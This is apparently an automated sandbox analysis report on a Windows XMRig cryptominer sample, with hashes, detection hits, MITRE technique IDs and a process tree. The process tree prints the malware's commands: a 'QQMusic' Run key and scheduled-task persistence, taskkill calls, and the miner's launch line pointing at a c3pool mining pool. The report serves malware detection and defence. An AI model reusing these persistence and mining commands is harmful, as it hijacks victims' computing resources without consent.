xmrig | 1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
14/06/2024, 11:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Size

9.0MB
MD5

6b4f06f6c6c73a1d56c5a66be8306541
SHA1

2af7e6175abe6f102520b61a92e03990c80cc2f4
SHA256

1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8
SHA512

fda4c6bde698c62c66f6e8023f1cdd84b7fca99c19f8c02882045d19ba983e7a9a0223f6ffbebbe2d8ffb363b02f437f550413cb16bdff110d4da3e09e0b0ed2
SSDEEP

196608:rhHMBGC3PtXtT+Was8+wq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G0vwuwasMdJOnZKVSaaNZOn

Score

10^/10

xmrig miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 25 IoCs

miner

resource	yara_rule
behavioral2/memory/3560-132-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/3560-138-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/1732-141-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/3456-148-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/3456-150-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/2292-153-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/2976-157-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5844-161-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/6124-164-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5892-168-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/1548-172-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5936-176-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/3540-179-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/6100-183-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5864-187-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/2420-191-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/4504-195-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5816-199-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/6096-211-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5312-214-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5324-217-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5324-218-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5268-223-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/5268-224-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig
behavioral2/memory/3576-227-0x00007FF681C00000-0x00007FF682244000-memory.dmp	xmrig

Executes dropped EXE 25 IoCs

pid	Process
3560	sBnopqr.exe
1608	SMB.exe
1732	sBnopqr.exe
3456	sBnopqr.exe
5116	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
2292	sBnopqr.exe
2976	sBnopqr.exe
5844	sBnopqr.exe
6124	sBnopqr.exe
5892	sBnopqr.exe
1548	sBnopqr.exe
5936	sBnopqr.exe
3540	sBnopqr.exe
6100	sBnopqr.exe
5864	sBnopqr.exe
2420	sBnopqr.exe
4504	sBnopqr.exe
5220	sBnopqr.exe
5816	sBnopqr.exe
6096	sBnopqr.exe
5312	sBnopqr.exe
5324	sBnopqr.exe
5764	sBnopqr.exe
5268	sBnopqr.exe
3576	sBnopqr.exe

UPX packed file 28 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000200000002a9ba-6.dat	upx
behavioral2/memory/3560-8-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/3560-132-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/3560-138-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/1732-141-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/3456-148-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/3456-150-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/2292-153-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/2976-157-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5844-161-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/6124-164-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5892-168-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/1548-172-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5936-176-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/3540-179-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/6100-183-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5864-187-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/2420-191-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/4504-195-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5816-199-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/6096-211-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5312-214-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5324-217-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5324-218-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5764-220-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5268-223-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/5268-224-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx
behavioral2/memory/3576-227-0x00007FF681C00000-0x00007FF682244000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe"	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1672260578-815027929-964132517-1000\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe"	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
File opened (read-only)	\??\VBoxMiniRdrDN	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
736	schtasks.exe

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3796	ipconfig.exe
2752	ipconfig.exe
5656	ipconfig.exe
5888	ipconfig.exe
5800	ipconfig.exe
5268	ipconfig.exe

Kills process with taskkill 14 IoCs

evasion

pid	Process
4604	taskkill.exe
4652	taskkill.exe
6080	taskkill.exe
5984	taskkill.exe
5356	taskkill.exe
5984	taskkill.exe
5864	taskkill.exe
708	taskkill.exe
5032	taskkill.exe
892	taskkill.exe
5952	taskkill.exe
5888	taskkill.exe
6084	taskkill.exe
5508	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Suspicious use of AdjustPrivilegeToken 59 IoCs

description	pid	Process
Token: SeDebugPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeBackupPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeSecurityPrivilege	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
Token: SeDebugPrivilege	892	taskkill.exe
Token: SeLockMemoryPrivilege	3560	sBnopqr.exe
Token: SeLockMemoryPrivilege	3560	sBnopqr.exe
Token: SeLockMemoryPrivilege	1732	sBnopqr.exe
Token: SeLockMemoryPrivilege	1732	sBnopqr.exe
Token: SeDebugPrivilege	4604	taskkill.exe
Token: SeLockMemoryPrivilege	3456	sBnopqr.exe
Token: SeLockMemoryPrivilege	3456	sBnopqr.exe
Token: SeDebugPrivilege	4652	taskkill.exe
Token: SeLockMemoryPrivilege	2292	sBnopqr.exe
Token: SeLockMemoryPrivilege	2292	sBnopqr.exe
Token: SeLockMemoryPrivilege	2976	sBnopqr.exe
Token: SeLockMemoryPrivilege	2976	sBnopqr.exe
Token: SeDebugPrivilege	5984	taskkill.exe
Token: SeLockMemoryPrivilege	5844	sBnopqr.exe
Token: SeLockMemoryPrivilege	5844	sBnopqr.exe
Token: SeLockMemoryPrivilege	6124	sBnopqr.exe
Token: SeLockMemoryPrivilege	6124	sBnopqr.exe
Token: SeDebugPrivilege	5952	taskkill.exe
Token: SeLockMemoryPrivilege	5892	sBnopqr.exe
Token: SeLockMemoryPrivilege	5892	sBnopqr.exe
Token: SeLockMemoryPrivilege	1548	sBnopqr.exe
Token: SeLockMemoryPrivilege	1548	sBnopqr.exe
Token: SeLockMemoryPrivilege	5936	sBnopqr.exe
Token: SeLockMemoryPrivilege	5936	sBnopqr.exe
Token: SeDebugPrivilege	5888	taskkill.exe
Token: SeDebugPrivilege	5356	taskkill.exe
Token: SeDebugPrivilege	6080	taskkill.exe
Token: SeLockMemoryPrivilege	6100	sBnopqr.exe
Token: SeLockMemoryPrivilege	6100	sBnopqr.exe
Token: SeLockMemoryPrivilege	5864	sBnopqr.exe
Token: SeLockMemoryPrivilege	5864	sBnopqr.exe
Token: SeDebugPrivilege	6084	taskkill.exe
Token: SeLockMemoryPrivilege	2420	sBnopqr.exe
Token: SeLockMemoryPrivilege	2420	sBnopqr.exe
Token: SeDebugPrivilege	5864	taskkill.exe
Token: SeLockMemoryPrivilege	4504	sBnopqr.exe
Token: SeLockMemoryPrivilege	4504	sBnopqr.exe
Token: SeLockMemoryPrivilege	5816	sBnopqr.exe
Token: SeLockMemoryPrivilege	5816	sBnopqr.exe
Token: SeDebugPrivilege	5984	taskkill.exe
Token: SeLockMemoryPrivilege	6096	sBnopqr.exe
Token: SeLockMemoryPrivilege	6096	sBnopqr.exe
Token: SeDebugPrivilege	5508	taskkill.exe
Token: SeLockMemoryPrivilege	5324	sBnopqr.exe
Token: SeLockMemoryPrivilege	5324	sBnopqr.exe
Token: SeDebugPrivilege	5032	taskkill.exe
Token: SeLockMemoryPrivilege	5268	sBnopqr.exe
Token: SeLockMemoryPrivilege	5268	sBnopqr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 228 wrote to memory of 5036	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	78
PID 228 wrote to memory of 5036	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	78
PID 228 wrote to memory of 5036	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	78
PID 228 wrote to memory of 3308	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	80
PID 228 wrote to memory of 3308	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	80
PID 228 wrote to memory of 3308	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	80
PID 5036 wrote to memory of 736	5036	cmd.exe	82
PID 5036 wrote to memory of 736	5036	cmd.exe	82
PID 5036 wrote to memory of 736	5036	cmd.exe	82
PID 3308 wrote to memory of 892	3308	cmd.exe	83
PID 3308 wrote to memory of 892	3308	cmd.exe	83
PID 3308 wrote to memory of 892	3308	cmd.exe	83
PID 228 wrote to memory of 3032	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	85
PID 228 wrote to memory of 3032	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	85
PID 228 wrote to memory of 3032	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	85
PID 3032 wrote to memory of 3796	3032	cmd.exe	87
PID 3032 wrote to memory of 3796	3032	cmd.exe	87
PID 3032 wrote to memory of 3796	3032	cmd.exe	87
PID 228 wrote to memory of 3560	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	88
PID 228 wrote to memory of 3560	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	88
PID 228 wrote to memory of 1608	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	90
PID 228 wrote to memory of 1608	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	90
PID 228 wrote to memory of 1608	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	90
PID 228 wrote to memory of 5048	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	91
PID 228 wrote to memory of 5048	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	91
PID 228 wrote to memory of 5048	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	91
PID 228 wrote to memory of 1732	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	93
PID 228 wrote to memory of 1732	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	93
PID 5048 wrote to memory of 4604	5048	cmd.exe	95
PID 5048 wrote to memory of 4604	5048	cmd.exe	95
PID 5048 wrote to memory of 4604	5048	cmd.exe	95
PID 228 wrote to memory of 3456	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	96
PID 228 wrote to memory of 3456	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	96
PID 228 wrote to memory of 4132	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	99
PID 228 wrote to memory of 4132	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	99
PID 228 wrote to memory of 4132	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	99
PID 4132 wrote to memory of 2752	4132	cmd.exe	101
PID 4132 wrote to memory of 2752	4132	cmd.exe	101
PID 4132 wrote to memory of 2752	4132	cmd.exe	101
PID 228 wrote to memory of 2472	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	102
PID 228 wrote to memory of 2472	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	102
PID 228 wrote to memory of 2472	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	102
PID 2472 wrote to memory of 4652	2472	cmd.exe	104
PID 2472 wrote to memory of 4652	2472	cmd.exe	104
PID 2472 wrote to memory of 4652	2472	cmd.exe	104
PID 228 wrote to memory of 2292	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	105
PID 228 wrote to memory of 2292	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	105
PID 228 wrote to memory of 2976	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	107
PID 228 wrote to memory of 2976	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	107
PID 228 wrote to memory of 5464	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	109
PID 228 wrote to memory of 5464	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	109
PID 228 wrote to memory of 5464	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	109
PID 5464 wrote to memory of 5656	5464	cmd.exe	111
PID 5464 wrote to memory of 5656	5464	cmd.exe	111
PID 5464 wrote to memory of 5656	5464	cmd.exe	111
PID 228 wrote to memory of 5764	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	112
PID 228 wrote to memory of 5764	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	112
PID 228 wrote to memory of 5764	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	112
PID 228 wrote to memory of 5844	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	114
PID 228 wrote to memory of 5844	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	114
PID 5764 wrote to memory of 5984	5764	cmd.exe	116
PID 5764 wrote to memory of 5984	5764	cmd.exe	116
PID 5764 wrote to memory of 5984	5764	cmd.exe	116
PID 228 wrote to memory of 6124	228	1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe	117

C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
"C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe /F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe /F
    3⤵
    - Creates scheduled task(s)
    PID:736
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:3796
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3560
- C:\ProgramData\SMB.exe
  C:\ProgramData\SMB.exe
  2⤵
  - Executes dropped EXE
  PID:1608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4604
- C:\ProgramData\sBnopqr.exe
